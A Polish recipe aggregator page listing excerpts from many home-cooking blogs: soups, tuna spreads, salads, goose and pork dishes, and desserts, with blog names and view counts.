Zupa jest pożywna, a ugotowana na soku pomidorowym ma aksamitny ,słodko-ostry smak...  Polecam gorąco :-) Składniki: mięso drobiowe (kilka udek,skrzydełek lub mały kurczak) 2 puszki pomidorów w sosie własnym kartonik  soku pomidorowego 1l 1 czerwona papryka 1 marchewka 1 pietruszka ziele angielskie liść laurowy słodka papryka ostra papryka cebula 1 ząbek czosnku sól pieprz oliwa z oliwek

Walijskie Pichcenie
PASTA Z TUŃCZYKA 215

zazwyczaj jednym ze składników sałatki lub - tak jak dziś pysznej pasty do chleba. Z dodatkiem bardziej wyraźnych składników (ogórek, musztarda, chrzan itd) smakuje rewelacyjnie. Składniki: 2 puszki tuńczyka w sosie własnym 2 ogórki konserwowe 1 ogórek kiszony 2 jajka łyżka majonezu łyżeczka musztardy sarepskiej koperek Wykonanie: Tuńczyka odcedzamy, dusimy widelcem lub rozdrabniamy blenderem. Ogórki i jajka kroimy na drobną kostkę

Walijskie Pichcenie
LEKKIE LECZO Z CUKINIĄ, KURCZAKIEM I KLOPSIKAMI Z METKI 224

potrawy.  Można bez wyrzutów sumienia ... wziąć dokładkę ... :-) Składniki: 3 cukinie 1 marchewka 2 cebule 3 papryki kolorowe 200g pieczarek 200g fileta z kurczaka lub indyka puszka pomidorów w sosie własnym (pokrojonych) 1 mała metka wędzona łyżka koncentratu pomidorowego sól pieprz słodka i ostra papryka liść laurowy ziele angielskie 2 łyżki oleju Wykonanie: Na patelni rozgrzewamy olej. Podsmażamy na złoty

Walijskie Pichcenie
BEKONOWE ZAWIJAŃCE Z KURCZAKA 212

możemy włożyć wszystko co lubimy, nie musimy ściśle trzymać się przepisu.  Może to być kolorowa papryka, suszone pomidory lub inne ulubione warzywka. Zawijańca możemy jeść na ciepło z sosem i kaszą lub na zimno, pokrojonego na plastry.  Warunkiem jest tylko jak największa pierś.  Polecam przepis na różne domowe imprezy - na pewno zaskoczycie nim mile swoich gości :)) Składniki

Walijskie Pichcenie
COŚ DO CHLEBA CZYLI PIECZEŃ KOPERKOWA 222

Dobra na zimno do kanapek (można wtedy z czystym sumieniem powiedzieć: wiem co jem) ale i fajnie smakuje na ciepło jako danie obiadowe z ziemniaczkami i np. gęstym sosem pomidorowym jak u mnie.  Składniki: 1kg mięsa mielonego wieprzowo-wołowego 2 kajzerki 2 czubate łyżki posiekanego koperku 4 całe jaja sól, pieprz majeranek szklanka bulionu warzywnego olej do posmarowania

Walijskie Pichcenie
PASTA Z TUŃCZYKA, PAPRYKI I SELERA NACIOWEGO 279

mawiają "na ząb" :) Wtedy szybko kombinuję 2-3 składniki pasujące ze sobą i już na kolację jest coś innego niż pospolita kanapka z szynką :) Składniki: 2 puszki tuńczyka w sosie własnym mała cebula czerwona mała cebula biała 1 łodyga selera naciowego 1/2 zielonej papryki sól pieprz ziołowy 2 łyżki majonezu łyżeczka musztardy sarepskiej Wykonanie: Tuńczyka odsączyć z zalewy. W misce

Walijskie Pichcenie
KARKÓWKA Z GRZYBAMI I CEBULKĄ 244

smakiem od smażenia karkówki. Naczynie przykrywamy i wstawiamy do piekarnika nagrzanego do 180st na 1.5h. Po tym czasie karkówka powinna być już miękka. Przelewamy ją wraz z sosem do garnka i sosik lekko zaciągamy mąką rozrobioną w odrobinie wody. Ewentualnie doprawiamy do smaku

Walijskie Pichcenie
PROSTE KOTLECIKI Z KASZY JĘCZMIENNEJ 216

smażymy z obu stron na złoty kolor. Po usmażeniu układamy na papierowym ręczniczku, aby ten wchłonął nadmiar tłuszczu. Podajemy na ciepło jako danie obiadowe lub np. na zimno z sosem czosnkowym czy pomidorowym. Smacznego

Walijskie Pichcenie
PIKANTNA ZUPA Z ZIELONEJ SOCZEWICY 190

podzielacie moją opinię :)) Tak więc ... do dzieła! Składniki: 2 udka z kurczaka 200g zielonej soczewicy 2 marchewki kawałek selera 1 pietruszka liść laurowy ziele angielskie 2 puszki pomidorów w sosie własnym bez skóry 2 łyżki koncentratu pomidorowego 2 ząbki czosnku słodka papryka ostra papryka sól Wykonanie: Z udek, warzyw i czosnku gotujemy wywar. Udka wyjmujemy i obieramy z mięsa, które

Walijskie Pichcenie
DROBIOWY GULASZ A'LA SZEGEDYŃSKI 210

ziele angielskie i całość zalewamy bulionem, aby przykrył mięso i kapustę. Całość dusimy pod przykryciem ok 40 minut mieszając od czasu do czasu. Na koniec zdejmujemy pokrywkę, aby płyn (sos) zredukował się. Doprawiamy do smaku solą i pieprzem. Podajemy z ziemniakami, kaszą lub kluskami

Walijskie Pichcenie
PLACKI Z MŁODYCH ZIEMNIAKÓW 224

jajka, sól, mieszamy. Nakładamy łyżką na rozgrzany na patelni olej formując placuszki. Smażymy na złoty kolor z obu stron. Odsączamy na papierowym ręczniczku z nadmiaru tłuszczu. Podajemy z cukrem, sosem, śmietaną, ketchupem, jogurtem ...  czyli  tym, co lubimy najbardziej

Walijskie Pichcenie
ZUPA GOŁĄBKOWA 460

oczywiście pyszna w smaku :))  Znakomicie sprawdziła się u mnie jako danie jednogarnkowe, bo jest gęsta i pożywna. Składniki: 1/ 2 młodej kapusty 2 cebule puszka pomidorów w sosie własnym  łyżka przecieru pomidorowego 2 marchewki 1 pietruszka 1 łodyga selera naciowego 100g ryżu 400g mięsa mielonego sól pieprz słodka i ostra papryka ziele angielskie liść laurowy koperek Wykonanie: Kapustę

Walijskie Pichcenie
WARSTWOWA SAŁATKA Z TUŃCZYKIEM 25149

była pyszna i  prezentuje się całkiem fajnie ...  zresztą oceńcie sami :-)) Składniki: 200 g ryżu ugotowanego na sypko puszka kukurydzy 4-5 ogórków konserwowych 3 puszki tuńczyka w sosie własnym majonez ser żółty 5 ugotowanych na twardo jajek 3 ugotowane marchewki pieprz szczypiorek Wykonanie:  Na płaskim talerzu układamy plastikową obręcz. Do środka nakładamy (kolejność dowolna) ryż - lekko ugniatamy

Walijskie Pichcenie
NISKOKALORYCZNA SAŁATKA CZYLI MÓJ SPOSÓB NA WIECZORNEGO GŁODA 1601

kuchennych zapasach: pomidor, ogórek, czerwona papryka, szczypior i biały ser.  Do tego dużo świeżo zmielonego pieprzu i voila!  - już po głodzie!  Nie potrzebujemy tu żadnych sosów,  jogurtów czy dresingów, bo warzywa pod wpływem soli  puszczają swój pyszny soczek i to wystarczy :)) Składniki: 1 pomidor 1/2 czerwonej papryki kawałek zielonego ogórka lub jeśli jest sezon

Walijskie Pichcenie
RYŻOWA SAŁATKA Z PALUSZKAMI SURIMI 214

pootwierania puszek i wymieszania składników.  Fajna kombinacja smakowa surimi, tuńczyka i kukurydzy ... polecam! Składniki: 200 g ugotowanego na sypko ryżu 200g paluszków krabowych ( surimi) 2 puszki tuńczyka w sosie własnym mała puszka kukurydzy 3 ogórki konserwowe sól pieprz majonez Wykonanie: Wszystkie składniki łączymy w misce: ryż, pokrojone w kostkę surimi, odcedzonego tuńczyka, odcedzoną kukurydzę oraz pokrojonego drobno ogórka. Solimy

Walijskie Pichcenie
ZAPIEKANKA ZIEMNIACZANO-SCHABOWA 282

Przepis na tę pyszną zapiekankę znalazłam   TUTAJ  i po małych modyfikacjach wdrożyłam w czyn :))  Polecam gorąco, bo zapiekanka wyszła pyszna: mięciutkie chude mięsko, ziemniaki i śmietanowy sos stanowią fajny pomysł na pożywny jednogarnkowy obiad.  Z chęcią będę wracała do tego przepisu :)) Składniki: 3 ziemniaki średniej wielkości ok. 600 g schabu 2 duże cebule 2 marchewki

Walijskie Pichcenie
SAŁATKA JAJECZNO-ZIEMNIACZANA 215

ręką w nadmiarze: ugotowane małe ziemniaczki w łupinach, gotowane jajka, sałata, grzanki, świeży ogórek ... Wszystko buch do miski - i voila!  Kolacja gotowa. Ja bardzo lubię takie sałatki bez sosów, majonezu, czy oliwy - pod taką postacią smakują mi najbardziej. Dla męża była już wzbogacona wersja :)  Dodałam łyżkę majonezu i łyżkę jogurtu greckiego

Walijskie Pichcenie
DUSZONE ROLADKI ZE SCHABU Z BIAŁĄ KIEŁBASĄ 294

posiekaną cebulę, liść laurowy, ziele angielskie i zalewamy całość szklanką wody tak, aby rolady były przykryte. Patelnię przykrywamy i dusimy mięso ok 1h. Po tym czasie lekko zagęszczamy powstały sos (łyżeczką mąki rozrobioną w odrobinie zimnej wody). Podajemy z ziemniakami, kaszą lub ryżem

Walijskie Pichcenie
WARZYWA W SOLI DO SŁOIKÓW 214

sklepie - jeśli akurat są. Postanowiłam więc zrobić sobie kilka słoików tych warzyw w soli, aby mieć "na czarną godzinę" :)))  Bo takie warzywka mogą stanowić fajną bazę do zupy, sosu czy wzbogacić smak naszych dań jednogarnkowych ...  Składniki:   na 3 słoiki widoczne na zdjęciu 2 kg marchwi 1 kg selera 1 kg pietruszki 4 -5 szt pora 4 łodygi

Walijskie Pichcenie
Nogi z gęsi pieczone w cydrze 197

wody. Na talerze wyłożyłem kluski śląskie, niewielką ilość buraków, po dwa kawałki nóg gęsi, które przykryłem cebulą, która piekła się wraz z gęsią. Całość delikatnie polałem powstałym podczas pieczenia sosem

Wyprawy kulinarne
Roladki ze schabu ze śliwkami i grzybami 223

Jeszcze jedna wersja zrazów/roladek schabowych. Zamiast tradycyjnego nadzienia ( ogórek kiszony, cebulka, skórka razowca, wędzonka itd. ) nadziałam roladki suszonymi śliwkami bez pestek i grzybami suszonymi. Dodałam do sosu gałązkę rozmarynu . Czytaj więcej

Buniabaje w kuchni
Tortellini po wegetariańsku 215

wędzonym tofu Polsoja to zamknięte w małe pierożki wyjątkowe połączenie aromatycznego tofu i delikatnego ciasta. Produkt w 100% roślinny o szerokim zastosowaniu w kuchni. Doskonale smakuje w towarzystwie sosów ,ziół, oliw i zup. Tortellini zostały przygotowane z surowców niemodyfikowanych genetycznie bez użycia konserwantów. Ja zrobiłam dziś coś ciekawego, dodatek do tortellini. Składniki -kapusta pekińska -marchewka -por -salasa pomidorowa- ja miałam

Z Kuchni Do Kuchni
Pizza z brukselką i szynką - zaskakująco pyszna! 271

pizzę.  Inspiracją był dla mnie właśnie smak pieczonych brukselek, które jako warzywa kapustne, świetnie łączą się z szynką albo boczkiem. Postanowiłam tym razem zrezygnować z pomidorowego sosu i ciasto posmarowałam oliwą z czosnkiem, jak robiono to we Włoszech w czasach zanim pomidory trafiły do Europy. Apetycznie roztopiona mozzarella dopełnia obraz mojej nietypowej pizzy. Ale co najważniejsze, wyszła naprawdę pyszna

Chilli Czosnek i Oliwa
Piersi z gęsi w czerwonym winie z gruszką i żurawiną 256

naczynia żaroodpornego. Wlewamy po 1 szklance wina i soku jabłkowego  i wstawiamy do piekarnika nagrzanego do 200 stopniu. Pieczemy przez godzinę, od czasu do czasu polewamy powstałym sosem. Gruszki obieramy,kroimy wzdłuż na pół i usuwamy gniazda nasienne. Przekładamy np. do keksówki, posypujemy cynamonem i podlewamy kilkoma łyżkami soku jabłkowego. Wstawiamy do piekarnika na ostatnie 20 minut pieczenia gęsi

Moje Kuchenne Rewelacje
Sałatka ze szczawiem krwistym i jajkiem mollet w sezamie 245

Lekka sałatka z kolorowych, soczystych listków z gotowanym jajkiem i pysznym sosem. Na lunch albo lekką kolację będzie w sam raz. Na szczaw krwisty natknęłam się niedawno na targu. Zaintrygował mnie kolorem liści, które bardziej przypominają liście buraczka niż szczawiu zwyczajnego. Smak też jest inny - nie taki kwaśny jak się spodziewałam. Przyznacie, że w sałatce prezentują się bardzo ładnie. Zobacz

Smaczna Pyza
Sałatka z kurczakiem i grzankami 7329

przełożyć do miski.  Ser żółty zetrzeć na tarce o najmniejszych otworach.  Do miseczki włożyć majonez, dodać ser i sok z cytryny, dokładnie wymieszać.  Do kapusty dodać sos serowy, połowę piersi z kurczaka, dokładnie wymieszać.  Przełożyć sałatkę do salaterki, posypać sałatkę grzankami i kurczakiem. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById

Kuchnia Danusi
Mleczne batoniki w czekoladzie dla dzieci małych i dużych :) 361

obkrawamy z nierównych krawędzi i kroimy na długie chude batoniki. Układamy na kratce. 5. W kąpieli wodnej* rozpuszczamy czekoladę, dwie łyzki masła i śmietanę. Mieszamy do uzyskania jednolitego płynnego sosu. Zdejmujemy z ognia (miskę zostawiamy na garnku) i polewamy dokładnie nasze batoniki. Odstawiamy do ostygnięcia, a następnie do lodówki do całkowitego stężenia czekolady. Przechowujemy w lodówce :) *na garnku z gotującą

My Culinary Art
Malibu 376

dałam dożo więcej i mleczną połączyłam z gorzką.) Mleko kokosowe doprowadzamy do wrzenia. Zalewamy nim połamaną czekoladę. Czekamy chwilę, mieszamy, do całkowitego rozpuszczenia czekolady i powstania gładkiego sosu czekoladowego. Przed wylaniem na wierzch ciasta poczekać, aż przestygnie. Smacznego

Malinowe Pocałunki
Szaszłyki 282

upływie tego czasu włączamy górną grzałkę, funkcję grilla i pieczemy ok 15 min lub mniej. Tak, aby odrobinkę się zarumieniły. gdy są gotowe wyjmujemy i podajemy z ulubionym sosem. U mnie boski Party Dip Barbecue Prymat. Party Dip Barbecue Prymat przygotowujemy zgodnie z zaleceniami producenta. Najlepsze są gorące podane z frytkami

Malinowe Pocałunki
Ravioli na słodko z dyniowo serowym farszem. 182

Sezon dyniowy w pełni. U każdego na blogu królują zupy,  sosy z jej dodatkiem, serniki....  Dynia na słodko, wytrawnie...  A u mnie przygoda dopiero się zaczyna.  Dynia jaką pamiętam z dziecięcych lat nie kojarzy mi się za dobrze. Gotowana przez moją babcię na mleku z dodatkiem lanych klusek. Jedynie ten widok krzątającej się babci w swoim

Malinowe Pocałunki
Cukiniowe szaszłyki z serem Korycińskim okraszone olejem rzepakowym. 177

wykończenia składników. Na wykałaczkę wchodzi ok 3-4 roladki. Gotowe szaszłyki z cukinii ponownie skrapiamy olejem rzepakowym i grilujemy po kilka minut z każdej ze stron. Można podawać z sosem pomidorowym, czosnkowym, ziołowym.... pieczywem. Ja uwielbiam je w czystej wersji

Malinowe Pocałunki
Pularda w miodzie z pieczonymi ziemniakami i pieczonym jabłkiem. 222

jabłka z wiśniami. Czysto szlachecki obiad. Składniki: 1 pularda (lub mały kurczak do 1,5 kg) miód (Miód kurpiowski ChOG) gałązka rozmarynu 1/2 łyżeczki ostrej papryki mielonej Kamis odrobina sosu tabasco 100 ml wytrawnego sherry 3 ząbki czosnku sól 2 jabłka (jabłka łąckieChOG) wydrylowane świeże wiśnie (Wiśnia nadwiślanka ChNP) ok 10 szt. 500 g młodych ziemniaków olej rzepakowy  Wykonanie

Malinowe Pocałunki
Konkurs Malinowych Pocałunków z Polsat Food Network - WYNIKI. 165

nasze truskawki zmiękną. Kiedy truskawka zacznie się rozpadać w garnku, truskawki wyłączamy i odstawiamy do przestygnięcia. Przestudzone truskawki przecieramy przez sitko, tak aby pozbyć się pesteczek i zyskać gładki sos. Przetarte truskawki miksujemy z naszym jogurtem i całość przelewamy do plastikowego zamykanego pojemnika i wkładamy masę do zamrażarki. Naszą masę staramy się mieszać średnio co 30 minut, dzięki temu lody

Malinowe Pocałunki
Fritata. 379

zapiekania układamy warzywa z wędliną i zalewamy mieszaniną jaj. Wstawiamy do nagrzanego piekarnika do 180 stopni i pieczemy do lekkiego zrumienienia ok 20 min. Podajemy gorące z ulubionym sosem i np. kromką świeżego pieczywa. Smacznego

Malinowe Pocałunki
Sałatka kabanosowa z brokułami i jajkiem. 350

przez praskę, lub posiekanym czosnkiem. Odstawiamy na chwilę do lodówki. Do miski przekładamy brokuły, układamy jaja, ogórki, kabanosy, pomidorki i całość posypujemy pestkami słonecznika. Przed samym podaniem polewamy przygotowanym sosem czosnkowym. Nie pozostaje mi nic innego jak życzyć Wam smacznego

Malinowe Pocałunki
Zapiekanki damskie i męskie :) 336

mięsem i układamy na pozostałych bułkach. Posypujemy startym serem. Zapiekamy w piekarniku w temp. 190 st C do czasu, aż ser się stopi, a bułki podpieką. Podajemy z ulubionym sosem. Smacznego

chwile dla mnie
Szybki obiad 314

kroimy warzywa, z papryki i cukinii usuwamy pestki, brokuła dzielimy na różyczki. Warzywa podsmażamy na oleju dodając sól, pieprz i ewentualnie ulubione przyprawy. Dolewamy trochę wody żeby powstał sos. Dorzucamy do warzyw odlany makaron oraz starty żółty ser, delikatnie mieszamy i od razu podajemy

prawdziwe jedzenie
Najlepsza zapiekanka z kurczakiem i pieczarkami 705

pieczarki i całość mieszamy. Śmietanę mieszamy z mąką, zagotowujemy. Zdejmujemy z palnika,solimy, następnie czekamy aż trochę przestygnie i wbijamy całe jajko i żółtko. Mieszamy. Polewamy mięso sosem, obsypujemy resztą sera i bułką tartą. Na wierzch kładziemy wiórki masła. Zapiekamy 25 minut w temp. 200 st. C. Na ostatnie kilka minut można zdjąć pokrywkę. Najlepiej smakuje z ketchupem

chwile dla mnie
Wędzona pierś z gęsi z purée z buraka z dodatkiem musu ze śliwek kalifornijskich 200

piekarniku rozgrzanym do 180 stopni. Z pomarańczy wycisnąć sok, a następnie zagotować go z gałązką rozmarynu i zredukować. Buraka obrać, wykroić kuleczki za pomocą specjalnej łyżki i dodać do sosu pomarańczowego. Suszone śliwki kalifornijskie ugotować w winie, dodać anyż i imbir. Następnie zmiksować na mus. Pozostałości z buraka zmiksować na gładkie purée z dodatkiem 3-4 łyżek musu śliwkowego . Pierś

Pasja Smaku
Pierogi ze szpinakiem (i suszonymi pomidorami) 198

kolacji lub smakowitą potrawą samą w sobie. Dlatego jako pierwszym chcę podzielić się z Wami moim pomysłem na szpinak, pierogami. Składniki farszu: opakowanie mrożonego szpinaku w liściach z sosem śmietanowym wg uznania, ja dodaję 2 papryczki chilli 3-4 ząbki czosnku masło dużą ilość koperku vegeta (lub 1/3 kostki rosołowej) zioła, wg upodobań Szpinak przekładamy na głęboką patelnię, dodajemy

Taste Of My Day
Sandwich - czyli posiłek pełnowartościowy 211

zrobić je szybo, zjeść bez użycia sztućców i zabrać ze sobą wszędzie.  Składniki: pieczywo, masło lub serek (ja użyłam śmietankowego), liść sałaty, wędlina, cukinia, ser feta, pomidor, kremowy sos balsamiczny, listki świeżej bazylii lub kiełki Prostota i dostępność kanapek uwodzi

Taste Of My Day
Sycąca sałatka ziemniaczana 349

kroimy na kawałki. Pierś z kurczaka siekamy w drobną kostkę i smażymy na niewielkiej ilości tłuszczu, z dodatkiem curry i papryczki chilli dla chętnych. Wszystkie składniki łączymy, dodajemy sosy oraz przyprawy i mieszamy. Smacznego

Taste Of My Day
Zupa z krewetkami i mlekiem kokosowym 413

krewetki połączą się, po 2-3 min wlewamy mleko kokosowe i gotujemy całość na wolnym ogniu. W kolejnym kroku dodajemy bulion i obficie doprawiamy zupę pieprzem cytrynowym, pikantnym sosem imbirowym z soją i solą, dodajemy kiełki fasoli mung oraz część szczypioru. Podajemy z makaronem ryżowym lub sojowym i szczypiorem. Smacznego

Taste Of My Day
Czarny makaron z krewetkami 205

wszystko smażymy na wolnym ogniu. Gdy krewetki są już gotowe, całość solimy i dodajemy makaron. Wszystkie składniki dokładnie mieszamy, tak by nitki makaronu obkleiły się powstałym podczas smażenia smakiem sosu. Danie wykładamy na talerz, ozdabiamy go roszponką i jemy. Smacznego! Możemy też urozmaicić przepis, dodając do niego oliwki, pomidory w puszce i zioła (bazylia, zioła prowansalskie). Wszystko dusimy, do momentu

Taste Of My Day
Placuszki warzywne (bez mąki) 544

przypaliły i nie były surowe w środku. Dla mnie te placuszki same w sobie są pyszne i mogę je jeść bez żadnych dodatków, jednak doskonale komponuję się też z sosem grzybowym (przepis tutaj

Taste Of My Day
Pasta tahini 216

przyrządzona z prażonego sezamu to stosowany od wieków przysmak na Bliskim i Środkowym Wschodzie, a także w kuchni arabskiej i żydowskiej. Zastosowań tahini jest wiele, możemy ją dodać do sosów, sałatek, dań jednogarnkowych, jak również do zup, ciast (np. z bakaliami), jako pastę do pieczywa (koniecznie wcześniej zrumienionego w opiekaczu), a nawet jako zamiennik jajek jak robili arabowie :) (możemy założyć

Taste Of My Day
Bulionówka domowa warzywno - drobiowa 235

świeże liście bazylii. 3. Do małego słoiczka przekładamy część bulionówki, którą zużyjemy w krótkim czasie i możemy ją przetrzymywać w lodówce do używania na bieżąco do zup i sosów. Pozostałą część pakujemy w folię do żywności w małych porcjach, układamy w pojemniku i przekładamy do zamrażalki

Apetyczna babeczka
Spaghetti z kaparami 278

resztę przypraw oraz parę listków świeżej bazylii (aby mogła wydobyć swój aromat na początku potrawy jak i na końcu). Doprawiamy do smaku.  Gotowy sos podajemy z makaronem jakim lubimy, posypujemy startym serem lub mozzarella oraz dodatkiem kaparów.  Smacznego

Zainspiruj się kuchnią
Wyśmienite roladki wieprzowe z suszonymi pomidorami 163

wieprzowej może być schab pasta z suszonych pomidorów 20 dag. sera typu chedder  plastry wędliny ogórek kiszony Na marynatę:   Zioła typu:   majeranek rozmaryn,  2 łyżki sosu sojowego ,  2 ząbki czosnku,  1 łyżeczka słodkiej papryki  WYKONANIE: Mięso pokroić na plastry, rozbić. Z podanych składników zrobić marynatę. Mięso obtoczyć w marynacie i odstawić na dwie

W kuchennym oknie Ewy
Wegański smalec :) 255

bardziej się wkręcam w temat wegańskiego jedzenia, tym bardziej zadziwia mnie fasola. Do tej pory jadłam ją głównie jako fasolkę po bretońsku lub w sosie pomidorowym jako dodatek do angielskiego śniadania. A tymczasem okazuje się, że fasola to prawdziwy kameleon. Robi za jajko w majonezie wegańskim (i smak majonezu przypomina ten tradycyjny), robi też za słoninę w smalcu (i smak

chwile dla mnie
Kopytka z dyni – dziś bez hipsterów ale z telewizją w tle 197

ćwiczta sobie sami. Ćwiczenia były przerywane okrzykami „do it!!”, „yes!” „great!”. Normalnie panie zachód!! Następnie pan kucharz wspiął się na wyżyny i przygotował jabłka i śliwki oprószone cynamonem z sosem z gorzkiej czekolady. I znowu prowadząca jęczała „ŁAŁ”. Przestałam oglądać. I przyszła kolej na panią Paruzel i jej zupy. Tych, którzy oglądali pierwszą serię pragnę uspokoić, szklane deski zniknęły

ladykitchen
Duszone żeberka 153

Idealne mięso, doprawione pod nasz smak, rozpływające się przy każdym kęsie. Tak jak nie lubię mięsa wieprzowego i do tego gotowanego, tak te żeberka i sos smakowały mi bardzo. Do ich przyrządzenia wykorzystałam bulionetkę do duszonych mięs Knorr. Składniki : * kilogram żeberek * cebula * 2 ząbki czosnku * bulionetka do duszonych mięs Knorr * 2 łyżki śmietanki  Przygotowanie : Mięso umyć, zalać szklanką wody

Magiczne Życie Marty
Czekoladowe Trio, czyli trzysmakowa tafla czekoladowa z chrupiącymi ciasteczkami 913

szkła i drewna. Dwie małe salaterki na bukowej deseczce. Osobiście bardzo lubię takie połączenia. Miseczki są bardzo funkcjonalne. Widzieliście już w poście z pizzą jak służą mi przy podaniu sosów. Tu jako miseczki na słodycze. Wpadnijcie do sklepu www.kupszklo.pl - zdziwicie się na widok cen, bo są przystępne dla każdego! Polecam. Składniki na taflę 22x12 cm: 300 g białej czekolady

Blondynka Gotuje
Zapiekane tortille z kurczakiem 804

posypać łyżką startego sera i zwinąć w rulon. Włożyć do naczynia żaroodpornego szwem do dołu. Wstawić na 20 min. do piekarnika nagrzanego do 200°C. Podawać gorące z ulubionym sosem do wyboru (salsa, guacamole lub kwaśną śmietaną). Smacznego

Złote przepisy
Kopytka 357

dwóch rodzajów mąki, z przewagą mąki pszennej, w przeciwieństwie do klusek, gdzie dajemy tylko mąkę ziemniaczaną. Można je jeść jako samodzielne z podsmażoną cebulką czy skwarkami lub ulubionym gulaszem, sosem mięsnym czy grzybowym. Czytaj więcej

Bernika - moj kulinarny pamietnik
Cytrynowa saltimbocca z kurczaka 294

Zamiast podlewać mięso białym winem, wybrałam odświeżający sok z cytryny, który fajnie przełamuje słoność szynki. Wyciśnięty pod koniec smażenia wprost na patelnię, zmiesza się z mięsnymi sokami tworząc apetyczny sos (trzeba go tylko wymieszać drewnianą łopatką, przy okazji odrywając od dna patelni przypalone kawałki - to one mają najwięcej smaku). I tak oto w 20 minut otrzymacie naprawdę smakowity obiad. Saltimboccę

Chilli Czosnek i Oliwa
Domowe tortille 309

jednej i drugiej strony. Tortilli nie można zbyt długo trzymać na patelni bo obeschnie i nie będzie jej można zwinąć. Podawać z warzywami, mięsem, jajecznicą lub innymi dodatkami oraz sosami. *Placki powinny mieć średnicę ok 1-2 cm większą nić średnica patelni, ponieważ podczas smażenia lekko się skurczą. Smacznego

Złote przepisy
Pasta sojowa 246

przeszukaniu internetu wybrałam przepis z    tej stronki. Pasta jest pyszna, delikatna, w pięknym, kremowym kolorze.  Polecam :) Składniki: szkl. soi 2 małe cebule 3-4 łyżki jasnego sosu sojowego 2 łyżki oliwy z oliwek + do smażenia 6 szkl. wody sól Soję moczymy na noc, rano gotujemy w nowej wodzie ok. 40 minut. Cebulę kroimy w dowolne kształty

chwile dla mnie
Podsumowanie aktywności na moim blogu - miesiąc PAŹDZIERNIK 2014 160

polubień na FB       138 obserwujących       23 posty 47 ,463 wyświetleń     najpopularniejsze posty : Roladki z kurczaka w szynce wędzonej   Makaron z sosem warzywno-śmietanowym     Lunch box po męsku Po więcej zdjęć zaglądajcie na Instagram blogowy . Dziękuję

Magiczne Życie Marty
102. W nieco innym wydaniu czyli: pizza z rukolowym pesto, krewetkami i gorgonzollą na ziemniaczanym spodzie. 275

znanych placków ziemniaczanych, jest on jednak barrrdziej wilgotny w środku i chrupiący na zewnątrz. Na dodatkowe składniki wybrałyśmy krewetki trygrysie, kapary, mozarellę, ser gorgonzolla oraz pesto z rukoli (zamiast sosu pomidorowego) - które równie fantastycznie smakuje jako dodatek do wszelkiego rodzaju makaronu oraz jako pasta na świeżą, chrupką bagietkę.  Jeśli jesteście ciekawi naszej obiadowej kompozycji, koniecznie wypróbujcie:  Składniki

Symfonia Smaków
Pyszna surówka z kapusty pekińskiej 207

łyżka jogurtu naturalnego WYKONANIE Kapustę szatkujemy nożem. Marchewkę ścieramy na drobnych oczkach tarki, jabłka obieramy i ścieramy na grubszych oczkach. Wyciskamy sok z cytryny. Z majonezu i jogurtu robimy sos, zalewamy surówkę, mieszamy i gotowa. SMACZNEGO

W kuchennym oknie Ewy
Mięsne sakiewki 213

kształt sakiewek, zawiązać nitką.  Sakiewki układać w naczyniu żaroodpornym.  Włożyć do piekarnika, piec 60 minut w 220 stop, co jakiś czas polewając je wytworzonym się podczas pieczenia sosem.  Przed podaniem usunąć nitki z sakiewek. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js#xfbml

Kuchnia Danusi
,,Rozpadający się,, gulasz z czerwoną papryką + kluchy na parze 207

nowego. W zasadzie z braku czasu tylko podgrzewam gulasz który ugotowałam na zapas wg przepisu na Gulasz z papryką i ,, muszelkami ,,  po lekkiej modyfikacji . Tzn. jest to bardziej sos gulaszowy z papryką ( gulasz z karkówki i czerwonej papryki duszony bardzo długo, aż mięso zaczyna się rozpadać ), doprawiony na bardzo pikantnie ( płatki paprykowe) i podany z kluchami na parze

Buniabaje w kuchni
Sernik dyniowy z karmelem 235

średnim ogniu, aż cukier zacznie się karmelizować, wtedy jednym ruchem wlewamy śmietankę i mieszamy. Zmniejszamy ogień i gotujemy karmel, aż utworzy się z niego gęsty sos. Pamiętajmy jednak, że po wystudzeniu karmel jeszcze zgęstnieje. Gdy karmel lekko przestygnie polewamy nim sernik

Kulinarne przygody Gatity
Sajgonki z kurczakiem, papryką i dynią (bez glutenu, mleka i jajek) 481

Sajgonki, czyli inaczej spring rolls z nadzieniem z makaronu z fasoli mung, kapusty pekińskiej z dodatkiem  kurczaka, papryki i dyni. Najlepsze prosto z patelni, z dodatkiem pikantnego sosu chilli.  Składniki: kapusta pekińska mała główka makaron z fasoli mung (przezroczysty) 100g filet z kurczaka 400g papryka 1 szt dynia (kostka) 1 szklanka przyprawy: sól, pieprz, papryka słodka, czosnek, kolendra

głodny alergik
Makaron z podgrzybkami i śmietaną 302

Dzisiaj na talerzu pełnia jesieni. Własnoręcznie zebrane podgrzybki, makaron i sos śmietanowy. Czy może być coś lepszego? Do tego odpowiednia ilość przypraw i można zaczynać ucztę. A jakie są Wasze ulubione przepisy na dania z grzybami? Składniki: 1/2 opakowania makaronu penne kilka podgrzybków 1/2 białej cebuli 1 łyżeczka posiekanego tymianku (albo suszonego) sól, pieprz 2-3 łyżki śmietany 1 łyżka

Pasja Smaku
Rurki z kurczakiem i lokowaniem produktu 352

może niezbyt imponującoa, ale prowizorka zawsze jest ok ;) Podsumowując: żarełko wychodzi z tego dość szybkie i całkiem smaczne, ale polecam użyć mniej makaronu lub więcej cebuli i kurczaka, a sos najlepiej zrobić jednak samodzielnie, jeśli ktoś ma czas, choć ten naprawdę daje radę jak na produkt z torebki. Rodzinie smakowało. Smacznego! Jak widać, efekt finalny nijak się ma do tego

Kulinarne zapędy Kokosa
Zielone pesto z bazylii, rukoli i słonecznika 292

Albo do słoika. Albo zużywamy od razu :D A do czego zużywamy? Tak naprawdę zależy to tylko od naszej wyobraźni. Świetnie pasuje do mięs i serów, może być bazą sosu do sałatki, można smarować nim chleb i tworzyć dzięki temu wspaniałe kanapki... Albo pójść na łatwiznę i połączyć je z makaronem, o tak: A Wy jakie macie pomysły na wykorzystanie

Kulinarne zapędy Kokosa
gulasz z piersi kurczaka z pieczarkami... 1327

większym ogniu mieszając wlać wodę, dodać kostkę rosołową, pieprz i gotować na średnim ogniu do miekkości mięsa śmietanę słodką gęstą 18% wymieszać z mąką i ciut wodą i zagęścić sos mieszając, wsypać koperek i do smaku ewentualnie soli smaczny gulasz na obiad można podać z czym się lubi...........SMACZNEGO

W Mojej Kuchni Lubię
Gnocchi dyniowe z masłem szałwiowym, rukolą i parmezanem 162

